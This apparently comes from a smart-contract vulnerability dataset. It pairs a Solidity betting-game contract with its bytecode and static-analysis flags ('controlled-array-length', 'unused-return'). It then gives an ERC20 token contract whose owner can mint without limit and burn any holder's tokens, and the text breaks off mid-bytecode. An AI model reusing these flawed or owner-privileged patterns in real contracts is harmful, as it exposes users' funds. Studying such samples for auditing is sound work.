constructor(uint _gameId, uint _gameBet, uint _startTime, string _questionText, address _officialAddress) public {
gameId = _gameId;
adminAddress = msg.sender;
gameBet = _gameBet;
startTime = _startTime;
questionText = _questionText;
playersCount = 0;
winnerSide = 0;
award = 0;
officialAddress = _officialAddress;
}
/*
function() public payable {
}
*/
/**
* set the bonus of the game
**/
function setJackpot() public payable adminOnly returns (bool) {
if (msg.value > 0) {
jackpot += msg.value;
return true;
}
return false;
}
/**
* return the game data when playing
* 0 start time
* 1 end time
* 2 no of player
* 3 total bet
* 4 jackpot
* 5 is ended game boolean
* 6 game bet value
**/
function getGamePlayingStatus() public view returns (uint, uint, uint, uint, uint, uint, uint) {
return (
startTime,
startTime,
//startTime + AVAILABLE_GAME_TIME,
playersCount,
address(this).balance,
jackpot,
winnerSide,
gameBet
);
}
/**
* return the game details:
* 0 game id
* 1 start time
* 2 end time
* 3 no of player
* 4 total bet
* 5 question + option 1 + option 2
* 6 jackpot
* 7 is ended game
* 8 game bet value
**/
function getGameData() public view returns (uint, uint, uint, uint, uint, string, uint, uint, uint) {
return (
gameId,
startTime,
startTime,
//startTime + AVAILABLE_GAME_TIME,
playersCount,
address(this).balance,
questionText,
jackpot,
winnerSide,
gameBet
);
}
/**
* player submit their option
**/
function submitChoose(uint _chooseValue) public payable notEnded withinGameTime {
require(!playerList[msg.sender]);
require(msg.value == gameBet);
playerList[msg.sender] = true;
playersCount++;
if (_chooseValue == 1) {
option1List[msg.sender] = true;
option1AddressList.push(msg.sender);
} else if (_chooseValue == 2) {
option2List[msg.sender] = true;
option2AddressList.push(msg.sender);
}
}
/**
* calculate the winner side
* calculate the award to winner
**/
function endGame() public afterGameTime {
require(winnerSide == 0);
// 10% for operation fee
finalBalance = address(this).balance;
uint totalAward = uint(finalBalance * 9 / 10);
uint option1Count = option1AddressList.length;
uint option2Count = option2AddressList.length;
if (option1Count > option2Count || (option1Count == option2Count && gameId % 2 == 1)) { // option1 win
award = option1Count == 0 ? 0 : uint(totalAward / option1Count);
winnerSide = 1;
winnerList = option1AddressList;
} else if (option2Count > option1Count || (option1Count == option2Count && gameId % 2 == 0)) { // option2 win
award = option2Count == 0 ? 0 : uint(totalAward / option2Count);
winnerSide = 2;
winnerList = option2AddressList;
}
}
/**
* calculate the winner side
* calculate the award to winner
**/
function forceEndGame() public adminOnly {
require(winnerSide == 0);
// 10% for operation fee
finalBalance = address(this).balance;
uint totalAward = uint(finalBalance * 9 / 10);
uint option1Count = option1AddressList.length;
uint option2Count = option2AddressList.length;
if (option1Count > option2Count || (option1Count == option2Count && gameId % 2 == 1)) { // option1 win
award = option1Count == 0 ? 0 : uint(totalAward / option1Count);
winnerSide = 1;
winnerList = option1AddressList;
} else if (option2Count > option1Count || (option1Count == option2Count && gameId % 2 == 0)) { // option2 win
award = option2Count == 0 ? 0 : uint(totalAward / option2Count);
winnerSide = 2;
winnerList = option2AddressList;
}
}
/**
* send award to winner
**/
function sendAward() public isEnded {
require(winnerList.length > 0);
uint count = winnerList.length;
if (count > 250) {
for (uint i = 0; i < 250; i++) {
this.sendAwardToLastWinner();
}
} else {
for (uint j = 0; j < count; j++) {
this.sendAwardToLastWinner();
}
}
}
/**
* send award to last winner of the list
**/
function sendAwardToLastWinner() public isEnded {
address(winnerList[winnerList.length - 1]).transfer(award);
delete winnerList[winnerList.length - 1];
winnerList.length--;
if(winnerList.length == 0){
address add=address(officialAddress);
address(add).transfer(address(this).balance);
}
}
/**
* return the game details after ended
* 0 winner side
* 1 nomber of player who choose option 1
* 2 nomber of player who choose option 2
* 3 total award
* 4 award of each winner
**/
function getEndGameStatus() public isEnded view returns (uint, uint, uint, uint, uint) {
return (
winnerSide,
option1AddressList.length,
option2AddressList.length,
finalBalance,
award
);
}
/**
* get the option os the player choosed
**/
function getPlayerOption() public view returns (uint) {
if (option1List[msg.sender]) {
return 1;
} else if (option2List[msg.sender]) {
return 2;
} else {
return 0;
}
}
/**
* return the players who won the game
**/
function getWinnerAddressList() public isEnded view returns (address[]) {
if (winnerSide == 1) {
return option1AddressList;
}else {
return option2AddressList;
}
}
/**
* return the players who won the game
**/
function getLoserAddressList() public isEnded view returns (address[]) {
if (winnerSide == 1) {
return option2AddressList;
}else {
return option1AddressList;
}
}
/**
* return winner list
**/
function getWinnerList() public isEnded view returns (address[]) {
return winnerList;
}
/**
* return winner list size
**/
function getWinnerListLength() public isEnded view returns (uint) {
return winnerList.length;
}
}
|
0x6080604052600436106100a05763ffffffff60e060020a6000350416630160303c81146100a557806304148f7e146100d95780632a035b6c146101395780633ac4217c1461015a57806343aa87841461017e578063493dbd02146101a55780634d1975b4146101c6578063657908d1146101db578063b38400ff146101f3578063bc4b6b0014610258578063eae81c3714610270578063fc6f946814610285575b600080fd5b3480156100b157600080fd5b506100bd60043561029a565b60408051600160a060020a039092168252519081900360200190f35b604080516020600460443581810135601f810184900484028501840190955284845261013794823594602480359536959460649492019190819084018382808284375094975050509235600160a060020a031693506102c292505050565b005b34801561014557600080fd5b50610137600160a060020a0360043516610415565b34801561016657600080fd5b50610137600160a060020a03600435166024356105b2565b34801561018a57600080fd5b50610193610646565b60408051918252519081900360200190f35b3480156101b157600080fd5b50610137600160a060020a036004351661064c565b3480156101d257600080fd5b506101936107ea565b3480156101e757600080fd5b506100bd6004356107f0565b3480156101ff57600080fd5b506102086107fe565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561024457818101518382015260200161022c565b505050509050019250505060405180910390f35b34801561026457600080fd5b506100bd600435610861565b34801561027c57600080fd5b5061020861086f565b34801561029157600080fd5b506100bd6108cf565b60028054829081106102a857fe5b600091825260209091200154600160a060020a0316905081565b600354600090600160a060020a031633146102dc57600080fd5b6005805460010190819055858585856102f36108de565b808681526020018581526020018481526020018060200183600160a060020a0316600160a060020a03168152602001828103825284818151815260200191508051906020019080838360005b8381101561035757818101518382015260200161033f565b50505050905090810190601f1680156103845780820380516001836020036101000a031916815260200191505b509650505050505050604051809103906000f0801580156103a9573d6000803e3d6000fd5b50600080546001810182557f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563018054600160a060020a031916600160a060020a03841690811790915581549082526004602052604090912055905061040e81346105b2565b5050505050565b600160a060020a038116600081815260046020526040812054600680546001908101909155805480820182559083527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018054600160a060020a03191690931790925580548190600019810190811061048a57fe5b60009182526020822001548154600160a060020a03909116919060001985019081106104b257fe5b600091825260208220018054600160a060020a031916600160a060020a03939093169290921790915580548391600491819060001981019081106104f257fe5b6000918252602080832090910154600160a060020a031683528201929092526040018120919091558054600019810190811061052a57fe5b600091825260208220018054600160a060020a03191690558054906105539060001983016108ee565b5082905080600160a060020a0316636cbc2ded6040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561059557600080fd5b505af11580156105a9573d6000803e3d6000fd5b50505050505050565b600354600090600160a060020a031633146105cc57600080fd5b60008211156106415782905080600160a060020a031663e97db66e836040518263ffffffff1660e060020a0281526004016020604051808303818588803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b50505050506040513d602081101561040e57600080fd5b505050565b60065481565b6003546000908190600160a060020a0316331461066857600080fd5b600160a060020a038316600081815260046020526040812054600680546001908101909155805480820182559083527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6018054600160a060020a03191690931790925580549193509060001981019081106106df57fe5b60009182526020822001548154600160a060020a039091169190600019850190811061070757fe5b600091825260208220018054600160a060020a031916600160a060020a039390931692909217909155805483916004918190600019810190811061074757fe5b6000918252602080832090910154600160a060020a031683528201929092526040018120919091558054600019810190811061077f57fe5b600091825260208220018054600160a060020a03191690558054906107a89060001983016108ee565b5082905080600160a060020a031663ac1875426040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561059557600080fd5b60055481565b60008054829081106102a857fe5b6060600180548060200260200160405190810160405280929190818152602001828054801561085657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610838575b505050505090505b90565b60018054829081106102a857fe5b6060600080548060200260200160405190810160405280929190818152602001828054801561085657602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610838575050505050905090565b600354600160a060020a031681565b604051610edf8061092c83390190565b8154818355818111156106415760008381526020902061064191810190830161085e91905b808211156109275760008155600101610913565b50905600608060405234801561001057600080fd5b50604051610edf380380610edf83398101604090815281516020808401519284015160608501516080860151600085905560038054600160a060020a031916331790556002869055600583905595018051939591939092610076916006918501906100b0565b5060006008819055600e81905560105560048054600160a060020a031916600160a060020a03929092169190911790555061014b92505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100f157805160ff191683800117855561011e565b8280016001018555821561011e579182015b8281111561011e578251825591602001919060010190610103565b5061012a92915061012e565b5090565b61014891905b8082111561012a5760008155600101610134565b90565b610d858061015a6000396000f3006080604052600436106100e25763ffffffff60e060020a6000350416630607dd9481146100e757806307786d0c146100f45780630831fb6c146101095780632f1d3e281461013057806344219b05146101455780635b93c2bc146101925780636cbc2ded146101f757806372dee32b1461020c5780637fc5af951461024c5780638bcb6f0114610261578063a3f67d6d14610276578063ac1875421461028b578063af4e99de146102a0578063d7c81b5514610365578063e97db66e1461037a578063eb8e166014610396578063fc6f9468146103ab578063fcd41c1f146103dc575b600080fd5b6100f26004356103f1565b005b34801561010057600080fd5b506100f2610548565b34801561011557600080fd5b5061011e610662565b60408051918252519081900360200190f35b34801561013c57600080fd5b506100f261067c565b34801561015157600080fd5b5061015a610779565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561019e57600080fd5b506101a7610793565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101e35781810151838201526020016101cb565b505050509050019250505060405180910390f35b34801561020357600080fd5b506100f2610873565b34801561021857600080fd5b50610221610964565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b34801561025857600080fd5b506101a7610999565b34801561026d57600080fd5b506101a7610a0c565b34801561028257600080fd5b5061011e610aea565b34801561029757600080fd5b506100f2610af0565b3480156102ac57600080fd5b506102b5610b0e565b604051808a815260200189815260200188815260200187815260200186815260200180602001858152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b8381101561032257818101518382015260200161030a565b50505050905090810190601f16801561034f5780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b34801561037157600080fd5b5061011e610bf7565b610382610bfd565b604080519115158252519081900360200190f35b3480156103a257600080fd5b5061011e610c34565b3480156103b757600080fd5b506103c0610c7c565b60408051600160a060020a039092168252519081900360200190f35b3480156103e857600080fd5b506103c0610c8b565b600e54156103fe57600080fd5b60055442111561040d57600080fd5b3360009081526007602052604090205460ff161561042a57600080fd5b600254341461043857600080fd5b336000908152600760205260409020805460ff1916600190811790915560088054820190558114156104d257336000818152600960205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db901805473ffffffffffffffffffffffffffffffffffffffff19169091179055610545565b806002141561054557336000818152600a60205260408120805460ff19166001908117909155600c805491820181559091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c701805473ffffffffffffffffffffffffffffffffffffffff191690911790555b50565b600080600080600e5411151561055d57600080fd5b600d5460001061056c57600080fd5b600d54925060fa8311156105ef57600091505b60fa8210156105ea5730600160a060020a0316632f1d3e286040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156105c657600080fd5b505af11580156105da573d6000803e3d6000fd5b50506001909301925061057f9050565b61065d565b5060005b8281101561065d5730600160a060020a0316632f1d3e286040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561063957600080fd5b505af115801561064d573d6000803e3d6000fd5b5050600190920191506105f39050565b505050565b600080600e5411151561067457600080fd5b50600d545b90565b600080600e5411151561068e57600080fd5b600d805460001981019081106106a057fe5b6000918252602082200154601054604051600160a060020a039092169281156108fc029290818181858888f193505050501580156106e2573d6000803e3d6000fd5b50600d805460001981019081106106f557fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff19169055600d80549061072e906000198301610c9a565b50600d5415156105455750600454604051600160a060020a03909116908190303180156108fc02916000818181858888f19350505050158015610775573d6000803e3d6000fd5b5050565b600554600854600154600e54600254939485943031939291565b60606000600e541115156107a657600080fd5b600e546001141561081357600b80548060200260200160405190810160405280929190818152602001828054801561080757602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116107e9575b50505050509050610679565b600c80548060200260200160405190810160405280929190818152602001828054801561080757602002820191906000526020600020908154600160a060020a031681526001909101906020018083116107e95750505050509050610679565b60008060006005544211151561088857600080fd5b600e541561089557600080fd5b5050503031600f819055600b54600c54600a60099093029290920491808211806108cf575080821480156108cf5750600054600290066001145b1561090c5781156108eb5781838115156108e557fe5b046108ee565b60005b6010556001600e55600b805461090691600d91610cbe565b5061065d565b81811180610927575080821480156109275750600054600116155b1561065d57801561094357808381151561093d57fe5b04610946565b60005b6010556002600e55600c805461095e91600d91610cbe565b50505050565b600080600080600080600e5411151561097c57600080fd5b5050600e54600b54600c54600f5460105493979296509094509250565b60606000600e541115156109ac57600080fd5b600d805480602002602001604051908101604052809291908181526020018280548015610a0257602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116109e4575b5050505050905090565b60606000600e54111515610a1f57600080fd5b600e5460011415610a8a57600c80548060200260200160405190810160405280929190818152602001828054801561080757602002820191906000526020600020908154600160a060020a031681526001909101906020018083116107e95750505050509050610679565b600b80548060200260200160405190810160405280929190818152602001828054801561080757602002820191906000526020600020908154600160a060020a031681526001909101906020018083116107e95750505050509050610679565b60085481565b60035460009081908190600160a060020a0316331461088857600080fd5b600080600080600060606000806000805460055460055460085430600160a060020a0316316006600154600e54600254838054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd35780601f10610ba857610100808354040283529160200191610bd3565b820191906000526020600020905b815481529060010190602001808311610bb657829003601f168201915b50505050509350985098509850985098509850985098509850909192939495969798565b60005481565b600354600090600160a060020a03163314610c1757600080fd5b6000341115610c2e57506001805434018155610679565b50600090565b3360009081526009602052604081205460ff1615610c5457506001610679565b336000908152600a602052604090205460ff1615610c7457506002610679565b506000610679565b600354600160a060020a031681565b600454600160a060020a031681565b81548183558181111561065d5760008381526020902061065d918101908301610d0e565b828054828255906000526020600020908101928215610cfe5760005260206000209182015b82811115610cfe578254825591600101919060010190610ce3565b50610d0a929150610d28565b5090565b61067991905b80821115610d0a5760008155600101610d14565b61067991905b80821115610d0a57805473ffffffffffffffffffffffffffffffffffffffff19168155600101610d2e5600a165627a7a723058205d910adbe9574e2591c262be9a3205b2f32e5a795cab723860987ff42c1338b00029a165627a7a72305820efe8fdee9bec280c9f682f55da91c212a6e204279e1b405c7f9dd90b0a903c460029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,591 |
0x46a948acd1feac5a3bc48733ca54f14090c7ab73
|
/**
*Submitted for verification at Etherscan.io on 2021-04-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract QUE is Context, IERC20, IERC20Metadata,Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Quencies";
_symbol = "QUE";
_totalSupply = 500000000 * (10**decimals());
_balances[msg.sender] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function mint(address account,uint256 amount) public onlyOwner {
_mint(account,amount);
}
function burn(address account,uint256 amount) public onlyOwner {
_burn(account,amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b41146102635780639dc29fac1461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a919061173b565b60405180910390f35b61013d600480360381019061013891906114b0565b6103db565b60405161014a9190611720565b60405180910390f35b61015b6103f9565b60405161016891906118dd565b60405180910390f35b61018b60048036038101906101869190611461565b610403565b6040516101989190611720565b60405180910390f35b6101a9610504565b6040516101b691906118f8565b60405180910390f35b6101d960048036038101906101d491906114b0565b61050d565b6040516101e69190611720565b60405180910390f35b610209600480360381019061020491906114b0565b6105b9565b005b610225600480360381019061022091906113fc565b610643565b60405161023291906118dd565b60405180910390f35b61024361068c565b005b61024d6107c6565b60405161025a9190611705565b60405180910390f35b61026b6107ef565b604051610278919061173b565b60405180910390f35b61029b600480360381019061029691906114b0565b610881565b005b6102b760048036038101906102b291906114b0565b61090b565b6040516102c49190611720565b60405180910390f35b6102e760048036038101906102e291906114b0565b6109ff565b6040516102f49190611720565b60405180910390f35b61031760048036038101906103129190611425565b610a1d565b60405161032491906118dd565b60405180910390f35b610347600480360381019061034291906113fc565b610aa4565b005b60606004805461035890611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461038490611a41565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b60006103ef6103e8610c4d565b8484610c55565b6001905092915050565b6000600354905090565b6000610410848484610e20565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d2906117fd565b60405180910390fd5b6104f8856104e7610c4d565b85846104f39190611985565b610c55565b60019150509392505050565b60006012905090565b60006105af61051a610c4d565b848460026000610528610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105aa919061192f565b610c55565b6001905092915050565b6105c1610c4d565b73ffffffffffffffffffffffffffffffffffffffff166105df6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062c9061181d565b60405180910390fd5b61063f82826110a2565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610694610c4d565b73ffffffffffffffffffffffffffffffffffffffff166106b26107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff9061181d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107fe90611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611a41565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b610889610c4d565b73ffffffffffffffffffffffffffffffffffffffff166108a76107c6565b73ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f49061181d565b6040518